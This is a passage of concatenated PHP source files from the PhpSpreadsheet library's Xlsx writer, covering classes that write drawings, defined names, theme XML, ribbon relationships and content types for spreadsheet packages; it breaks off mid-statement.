$marginTop = $image->getOffsetY(); // v:shape $objWriter->startElement('v:shape'); $objWriter->writeAttribute('id', $reference); $objWriter->writeAttribute('o:spid', '_x0000_s' . $id); $objWriter->writeAttribute('type', '#_x0000_t75'); $objWriter->writeAttribute('style', "position:absolute;margin-left:{$marginLeft}px;margin-top:{$marginTop}px;width:{$width}px;height:{$height}px;z-index:1"); // v:imagedata $objWriter->startElement('v:imagedata'); $objWriter->writeAttribute('o:relid', 'rId' . $reference); $objWriter->writeAttribute('o:title', $image->getName()); $objWriter->endElement(); // o:lock $objWriter->startElement('o:lock'); $objWriter->writeAttribute('v:ext', 'edit'); $objWriter->writeAttribute('textRotation', 't'); $objWriter->endElement(); $objWriter->endElement(); } /** * Get an array of all drawings. * * @return BaseDrawing[] All drawings in PhpSpreadsheet */ public function allDrawings(Spreadsheet $spreadsheet): array { // Get an array of all drawings $aDrawings = []; // Loop through PhpSpreadsheet $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { // Loop through images and add to array $iterator = $spreadsheet->getSheet($i)->getDrawingCollection()->getIterator(); while ($iterator->valid()) { $aDrawings[] = $iterator->current(); $iterator->next(); } } return $aDrawings; } private function writeHyperLinkDrawing(XMLWriter $objWriter, ?int $hlinkClickId): void { if ($hlinkClickId === null) { return; } $objWriter->startElement('a:hlinkClick'); $objWriter->writeAttribute('xmlns:r', Namespaces::SCHEMA_OFFICE_DOCUMENT); $objWriter->writeAttribute('r:id', 'rId' . $hlinkClickId); $objWriter->endElement(); } private static function stringEmu(int $pixelValue): string { return (string) SharedDrawing::pixelsToEMU($pixelValue); } private static function writeAttributeIf(XMLWriter $objWriter, ?bool $condition, string $attr, string $val): void { if ($condition) { $objWriter->writeAttribute($attr, $val); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/DefinedNames.php000064400000020770151676714400022522 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use Exception; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet as ActualWorksheet; class DefinedNames { private XMLWriter $objWriter; private Spreadsheet $spreadsheet; public function __construct(XMLWriter $objWriter, Spreadsheet $spreadsheet) { $this->objWriter = $objWriter; $this->spreadsheet = $spreadsheet; } public function write(): void { // Write defined names $this->objWriter->startElement('definedNames'); // Named ranges if (count($this->spreadsheet->getDefinedNames()) > 0) { // Named ranges $this->writeNamedRangesAndFormulae(); } // Other defined names $sheetCount = $this->spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { // NamedRange for autoFilter $this->writeNamedRangeForAutofilter($this->spreadsheet->getSheet($i), $i); // NamedRange for Print_Titles $this->writeNamedRangeForPrintTitles($this->spreadsheet->getSheet($i), $i); // NamedRange for Print_Area $this->writeNamedRangeForPrintArea($this->spreadsheet->getSheet($i), $i); } $this->objWriter->endElement(); } /** * Write defined names. */ private function writeNamedRangesAndFormulae(): void { // Loop named ranges $definedNames = $this->spreadsheet->getDefinedNames(); foreach ($definedNames as $definedName) { $this->writeDefinedName($definedName); } } /** * Write Defined Name for named range. */ private function writeDefinedName(DefinedName $definedName): void { // definedName for named range $local = -1; if ($definedName->getLocalOnly() && $definedName->getScope() !== null) { try { $local = $definedName->getScope()->getParentOrThrow()->getIndex($definedName->getScope()); } catch (Exception) { // See issue 2266 - deleting sheet which contains // defined names will cause Exception above. return; } } $this->objWriter->startElement('definedName'); $this->objWriter->writeAttribute('name', $definedName->getName()); if ($local >= 0) { $this->objWriter->writeAttribute( 'localSheetId', "$local" ); } $definedRange = $this->getDefinedRange($definedName); $this->objWriter->writeRawData($definedRange); $this->objWriter->endElement(); } /** * Write Defined Name for autoFilter. */ private function writeNamedRangeForAutofilter(ActualWorksheet $worksheet, int $worksheetId = 0): void { // NamedRange for autoFilter $autoFilterRange = $worksheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { $this->objWriter->startElement('definedName'); $this->objWriter->writeAttribute('name', '_xlnm._FilterDatabase'); $this->objWriter->writeAttribute('localSheetId', "$worksheetId"); $this->objWriter->writeAttribute('hidden', '1'); // Create absolute coordinate and write as raw text $range = Coordinate::splitRange($autoFilterRange); $range = $range[0]; // Strip any worksheet ref so we can make the cell ref absolute [, $range[0]] = ActualWorksheet::extractSheetTitle($range[0], true); $range[0] = Coordinate::absoluteCoordinate($range[0] ?? ''); if (count($range) > 1) { $range[1] = Coordinate::absoluteCoordinate($range[1]); } $range = implode(':', $range); $this->objWriter->writeRawData('\'' . str_replace("'", "''", $worksheet->getTitle()) . '\'!' . $range); $this->objWriter->endElement(); } } /** * Write Defined Name for PrintTitles. */ private function writeNamedRangeForPrintTitles(ActualWorksheet $worksheet, int $worksheetId = 0): void { // NamedRange for PrintTitles if ($worksheet->getPageSetup()->isColumnsToRepeatAtLeftSet() || $worksheet->getPageSetup()->isRowsToRepeatAtTopSet()) { $this->objWriter->startElement('definedName'); $this->objWriter->writeAttribute('name', '_xlnm.Print_Titles'); $this->objWriter->writeAttribute('localSheetId', "$worksheetId"); // Setting string $settingString = ''; // Columns to repeat if ($worksheet->getPageSetup()->isColumnsToRepeatAtLeftSet()) { $repeat = $worksheet->getPageSetup()->getColumnsToRepeatAtLeft(); $settingString .= '\'' . str_replace("'", "''", $worksheet->getTitle()) . '\'!$' . $repeat[0] . ':$' . $repeat[1]; } // Rows to repeat if ($worksheet->getPageSetup()->isRowsToRepeatAtTopSet()) { if ($worksheet->getPageSetup()->isColumnsToRepeatAtLeftSet()) { $settingString .= ','; } $repeat = $worksheet->getPageSetup()->getRowsToRepeatAtTop(); $settingString .= '\'' . str_replace("'", "''", $worksheet->getTitle()) . '\'!$' . $repeat[0] . ':$' . $repeat[1]; } $this->objWriter->writeRawData($settingString); $this->objWriter->endElement(); } } /** * Write Defined Name for PrintTitles. */ private function writeNamedRangeForPrintArea(ActualWorksheet $worksheet, int $worksheetId = 0): void { // NamedRange for PrintArea if ($worksheet->getPageSetup()->isPrintAreaSet()) { $this->objWriter->startElement('definedName'); $this->objWriter->writeAttribute('name', '_xlnm.Print_Area'); $this->objWriter->writeAttribute('localSheetId', "$worksheetId"); // Print area $printArea = Coordinate::splitRange($worksheet->getPageSetup()->getPrintArea()); $chunks = []; foreach ($printArea as $printAreaRect) { $printAreaRect[0] = Coordinate::absoluteReference($printAreaRect[0]); $printAreaRect[1] = Coordinate::absoluteReference($printAreaRect[1]); $chunks[] = '\'' . str_replace("'", "''", $worksheet->getTitle()) . '\'!' . implode(':', $printAreaRect); } $this->objWriter->writeRawData(implode(',', $chunks)); $this->objWriter->endElement(); } } private function getDefinedRange(DefinedName $definedName): string { $definedRange = $definedName->getValue(); $splitCount = preg_match_all( '/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/mui', $definedRange, $splitRanges, PREG_OFFSET_CAPTURE ); $lengths = array_map('strlen', array_column($splitRanges[0], 0)); $offsets = array_column($splitRanges[0], 1); $worksheets = $splitRanges[2]; $columns = $splitRanges[6]; $rows = $splitRanges[7]; while ($splitCount > 0) { --$splitCount; $length = $lengths[$splitCount]; $offset = $offsets[$splitCount]; $worksheet = $worksheets[$splitCount][0]; $column = $columns[$splitCount][0]; $row = $rows[$splitCount][0]; $newRange = ''; if (empty($worksheet)) { if (($offset === 0) || ($definedRange[$offset - 1] !== ':')) { // We should have a worksheet $ws = $definedName->getWorksheet(); $worksheet = ($ws === null) ? null : $ws->getTitle(); } } else { $worksheet = str_replace("''", "'", trim($worksheet, "'")); } if (!empty($worksheet)) { $newRange = "'" . str_replace("'", "''", $worksheet) . "'!"; } $newRange = "{$newRange}{$column}{$row}"; $definedRange = substr($definedRange, 0, $offset) . $newRange . substr($definedRange, $offset + $length); } if (str_starts_with($definedRange, '=')) { $definedRange = substr($definedRange, 1); } return $definedRange; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/Theme.php000064400000052244151676714400021243 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Theme as SpreadsheetTheme; class Theme extends WriterPart { /** * Write theme to XML format. * * @return string XML Output */ public function writeTheme(Spreadsheet $spreadsheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } $theme = $spreadsheet->getTheme(); // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // a:theme $objWriter->startElement('a:theme'); $objWriter->writeAttribute('xmlns:a', Namespaces::DRAWINGML); $objWriter->writeAttribute('name', 'Office Theme'); // a:themeElements $objWriter->startElement('a:themeElements'); // a:clrScheme $objWriter->startElement('a:clrScheme'); $objWriter->writeAttribute('name', $theme->getThemeColorName()); $this->writeColourScheme($objWriter, $theme); $objWriter->endElement(); // a:fontScheme $objWriter->startElement('a:fontScheme'); $objWriter->writeAttribute('name', $theme->getThemeFontName()); // a:majorFont $objWriter->startElement('a:majorFont'); $this->writeFonts( $objWriter, $theme->getMajorFontLatin(), $theme->getMajorFontEastAsian(), $theme->getMajorFontComplexScript(), $theme->getMajorFontSubstitutions() ); $objWriter->endElement(); // a:majorFont // a:minorFont $objWriter->startElement('a:minorFont'); $this->writeFonts( $objWriter, $theme->getMinorFontLatin(), $theme->getMinorFontEastAsian(), $theme->getMinorFontComplexScript(), $theme->getMinorFontSubstitutions() ); $objWriter->endElement(); // a:minorFont $objWriter->endElement(); // a:fontScheme // a:fmtScheme $objWriter->startElement('a:fmtScheme'); $objWriter->writeAttribute('name', 'Office'); // a:fillStyleLst $objWriter->startElement('a:fillStyleLst'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '50000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '300000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '35000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '37000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '300000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '15000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '350000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:lin $objWriter->startElement('a:lin'); $objWriter->writeAttribute('ang', '16200000'); $objWriter->writeAttribute('scaled', '1'); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '51000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '130000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '80000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '93000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '130000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '94000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '135000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:lin $objWriter->startElement('a:lin'); $objWriter->writeAttribute('ang', '16200000'); $objWriter->writeAttribute('scaled', '0'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:lnStyleLst $objWriter->startElement('a:lnStyleLst'); // a:ln $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', '9525'); $objWriter->writeAttribute('cap', 'flat'); $objWriter->writeAttribute('cmpd', 'sng'); $objWriter->writeAttribute('algn', 'ctr'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '95000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '105000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:prstDash $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', 'solid'); $objWriter->endElement(); $objWriter->endElement(); // a:ln $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', '25400'); $objWriter->writeAttribute('cap', 'flat'); $objWriter->writeAttribute('cmpd', 'sng'); $objWriter->writeAttribute('algn', 'ctr'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:prstDash $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', 'solid'); $objWriter->endElement(); $objWriter->endElement(); // a:ln $objWriter->startElement('a:ln'); $objWriter->writeAttribute('w', '38100'); $objWriter->writeAttribute('cap', 'flat'); $objWriter->writeAttribute('cmpd', 'sng'); $objWriter->writeAttribute('algn', 'ctr'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:prstDash $objWriter->startElement('a:prstDash'); $objWriter->writeAttribute('val', 'solid'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:effectStyleLst $objWriter->startElement('a:effectStyleLst'); // a:effectStyle $objWriter->startElement('a:effectStyle'); // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', '40000'); $objWriter->writeAttribute('dist', '20000'); $objWriter->writeAttribute('dir', '5400000'); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', '000000'); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', '38000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:effectStyle $objWriter->startElement('a:effectStyle'); // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', '40000'); $objWriter->writeAttribute('dist', '23000'); $objWriter->writeAttribute('dir', '5400000'); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', '000000'); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', '35000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:effectStyle $objWriter->startElement('a:effectStyle'); // a:effectLst $objWriter->startElement('a:effectLst'); // a:outerShdw $objWriter->startElement('a:outerShdw'); $objWriter->writeAttribute('blurRad', '40000'); $objWriter->writeAttribute('dist', '23000'); $objWriter->writeAttribute('dir', '5400000'); $objWriter->writeAttribute('rotWithShape', '0'); // a:srgbClr $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', '000000'); // a:alpha $objWriter->startElement('a:alpha'); $objWriter->writeAttribute('val', '35000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:scene3d $objWriter->startElement('a:scene3d'); // a:camera $objWriter->startElement('a:camera'); $objWriter->writeAttribute('prst', 'orthographicFront'); // a:rot $objWriter->startElement('a:rot'); $objWriter->writeAttribute('lat', '0'); $objWriter->writeAttribute('lon', '0'); $objWriter->writeAttribute('rev', '0'); $objWriter->endElement(); $objWriter->endElement(); // a:lightRig $objWriter->startElement('a:lightRig'); $objWriter->writeAttribute('rig', 'threePt'); $objWriter->writeAttribute('dir', 't'); // a:rot $objWriter->startElement('a:rot'); $objWriter->writeAttribute('lat', '0'); $objWriter->writeAttribute('lon', '0'); $objWriter->writeAttribute('rev', '1200000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:sp3d $objWriter->startElement('a:sp3d'); // a:bevelT $objWriter->startElement('a:bevelT'); $objWriter->writeAttribute('w', '63500'); $objWriter->writeAttribute('h', '25400'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:bgFillStyleLst $objWriter->startElement('a:bgFillStyleLst'); // a:solidFill $objWriter->startElement('a:solidFill'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '40000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '350000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '40000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '45000'); $objWriter->endElement(); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '99000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '350000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '20000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '255000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:path $objWriter->startElement('a:path'); $objWriter->writeAttribute('path', 'circle'); // a:fillToRect $objWriter->startElement('a:fillToRect'); $objWriter->writeAttribute('l', '50000'); $objWriter->writeAttribute('t', '-80000'); $objWriter->writeAttribute('r', '50000'); $objWriter->writeAttribute('b', '180000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gradFill $objWriter->startElement('a:gradFill'); $objWriter->writeAttribute('rotWithShape', '1'); // a:gsLst $objWriter->startElement('a:gsLst'); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '0'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:tint $objWriter->startElement('a:tint'); $objWriter->writeAttribute('val', '80000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '300000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:gs $objWriter->startElement('a:gs'); $objWriter->writeAttribute('pos', '100000'); // a:schemeClr $objWriter->startElement('a:schemeClr'); $objWriter->writeAttribute('val', 'phClr'); // a:shade $objWriter->startElement('a:shade'); $objWriter->writeAttribute('val', '30000'); $objWriter->endElement(); // a:satMod $objWriter->startElement('a:satMod'); $objWriter->writeAttribute('val', '200000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:path $objWriter->startElement('a:path'); $objWriter->writeAttribute('path', 'circle'); // a:fillToRect $objWriter->startElement('a:fillToRect'); $objWriter->writeAttribute('l', '50000'); $objWriter->writeAttribute('t', '50000'); $objWriter->writeAttribute('r', '50000'); $objWriter->writeAttribute('b', '50000'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); // a:objectDefaults $objWriter->writeElement('a:objectDefaults', null); // a:extraClrSchemeLst $objWriter->writeElement('a:extraClrSchemeLst', null); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write fonts to XML format. * * @param string[] $fontSet */ private function writeFonts(XMLWriter $objWriter, string $latinFont, string $eastAsianFont, string $complexScriptFont, array $fontSet): void { // a:latin $objWriter->startElement('a:latin'); $objWriter->writeAttribute('typeface', $latinFont); $objWriter->endElement(); // a:ea $objWriter->startElement('a:ea'); $objWriter->writeAttribute('typeface', $eastAsianFont); $objWriter->endElement(); // a:cs $objWriter->startElement('a:cs'); $objWriter->writeAttribute('typeface', $complexScriptFont); $objWriter->endElement(); foreach ($fontSet as $fontScript => $typeface) { $objWriter->startElement('a:font'); $objWriter->writeAttribute('script', $fontScript); $objWriter->writeAttribute('typeface', $typeface); $objWriter->endElement(); } } /** * Write colour scheme to XML format. */ private function writeColourScheme(XMLWriter $objWriter, SpreadsheetTheme $theme): void { $themeArray = $theme->getThemeColors(); // a:dk1 $objWriter->startElement('a:dk1'); $objWriter->startElement('a:sysClr'); $objWriter->writeAttribute('val', 'windowText'); $objWriter->writeAttribute('lastClr', $themeArray['dk1'] ?? '000000'); $objWriter->endElement(); // a:sysClr $objWriter->endElement(); // a:dk1 // a:lt1 $objWriter->startElement('a:lt1'); $objWriter->startElement('a:sysClr'); $objWriter->writeAttribute('val', 'window'); $objWriter->writeAttribute('lastClr', $themeArray['lt1'] ?? 'FFFFFF'); $objWriter->endElement(); // a:sysClr $objWriter->endElement(); // a:lt1 foreach ($themeArray as $colourName => $colourValue) { if ($colourName !== 'dk1' && $colourName !== 'lt1') { $objWriter->startElement('a:' . $colourName); $objWriter->startElement('a:srgbClr'); $objWriter->writeAttribute('val', $colourValue); $objWriter->endElement(); // a:srgbClr $objWriter->endElement(); // a:$colourName } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/RelsRibbon.php000064400000003032151676714400022231 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; class RelsRibbon extends WriterPart { /** * Write relationships for additional objects of custom UI (ribbon). * * @return string XML Output */ public function writeRibbonRelationships(Spreadsheet $spreadsheet): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Relationships $objWriter->startElement('Relationships'); $objWriter->writeAttribute('xmlns', Namespaces::RELATIONSHIPS); $localRels = $spreadsheet->getRibbonBinObjects('names'); if (is_array($localRels)) { foreach ($localRels as $aId => $aTarget) { $objWriter->startElement('Relationship'); $objWriter->writeAttribute('Id', $aId); $objWriter->writeAttribute('Type', Namespaces::IMAGE); $objWriter->writeAttribute('Target', $aTarget); $objWriter->endElement(); } } $objWriter->endElement(); return $objWriter->getData(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xlsx/ContentTypes.php000064400000030546151676714400022641 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xlsx; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Shared\XMLWriter; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\MemoryDrawing; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; class ContentTypes extends WriterPart { /** * Write content types to XML format. * * @param bool $includeCharts Flag indicating if we should include drawing details for charts * * @return string XML Output */ public function writeContentTypes(Spreadsheet $spreadsheet, bool $includeCharts = false): string { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new XMLWriter(XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new XMLWriter(XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Types $objWriter->startElement('Types'); $objWriter->writeAttribute('xmlns', Namespaces::CONTENT_TYPES); // Theme $this->writeOverrideContentType($objWriter, '/xl/theme/theme1.xml', 'application/vnd.openxmlformats-officedocument.theme+xml'); // Styles $this->writeOverrideContentType($objWriter, '/xl/styles.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml'); // Rels $this->writeDefaultContentType($objWriter, 'rels', 'application/vnd.openxmlformats-package.relationships+xml'); // XML $this->writeDefaultContentType($objWriter, 'xml', 'application/xml'); // VML $this->writeDefaultContentType($objWriter, 'vml', 'application/vnd.openxmlformats-officedocument.vmlDrawing'); // Workbook if ($spreadsheet->hasMacros()) { //Macros in workbook ? // Yes : not standard content but "macroEnabled" $this->writeOverrideContentType($objWriter, '/xl/workbook.xml', 'application/vnd.ms-excel.sheet.macroEnabled.main+xml'); //... and define a new type for the VBA project // Better use Override, because we can use 'bin' also for xl\printerSettings\printerSettings1.bin $this->writeOverrideContentType($objWriter, '/xl/vbaProject.bin', 'application/vnd.ms-office.vbaProject'); if ($spreadsheet->hasMacrosCertificate()) { // signed macros ? // Yes : add needed information $this->writeOverrideContentType($objWriter, '/xl/vbaProjectSignature.bin', 'application/vnd.ms-office.vbaProjectSignature'); } } else { // no macros in workbook, so standard type $this->writeOverrideContentType($objWriter, '/xl/workbook.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml'); } // DocProps $this->writeOverrideContentType($objWriter, '/docProps/app.xml', 'application/vnd.openxmlformats-officedocument.extended-properties+xml'); $this->writeOverrideContentType($objWriter, '/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml'); $customPropertyList = $spreadsheet->getProperties()->getCustomProperties(); if (!empty($customPropertyList)) { $this->writeOverrideContentType($objWriter, '/docProps/custom.xml', 'application/vnd.openxmlformats-officedocument.custom-properties+xml'); } // Worksheets $sheetCount = $spreadsheet->getSheetCount(); for ($i = 0; $i < $sheetCount; ++$i) { $this->writeOverrideContentType($objWriter, '/xl/worksheets/sheet' . ($i + 1) . '.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml'); } // Shared strings $this->writeOverrideContentType($objWriter, '/xl/sharedStrings.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml'); // Table $table = 1; for ($i = 0; $i < $sheetCount; ++$i) { $tableCount = $spreadsheet->getSheet($i)->getTableCollection()->count(); for ($t = 1; $t <= $tableCount; ++$t) { $this->writeOverrideContentType($objWriter, '/xl/tables/table' . $table++ . '.xml', 'application/vnd.openxmlformats-officedocument.spreadsheetml.table+xml'); } } // Add worksheet relationship content types $unparsedLoadedData = $spreadsheet->getUnparsedLoadedData(); $chart = 1; for ($i = 0; $i < $sheetCount; ++$i) { $drawings = $spreadsheet->getSheet($i)->getDrawingCollection(); $drawingCount = count($drawings); $chartCount = ($includeCharts) ? $spreadsheet->getSheet($i)->getChartCount() : 0; $hasUnparsedDrawing = isset($unparsedLoadedData['sheets'][$spreadsheet->getSheet($i)->getCodeName()]['drawingOriginalIds']); // We need a drawing relationship for the worksheet if we have either drawings or charts if (($drawingCount > 0) || ($chartCount > 0) || $hasUnparsedDrawing) { $this->writeOverrideContentType($objWriter, '/xl/drawings/drawing' . ($i + 1) . 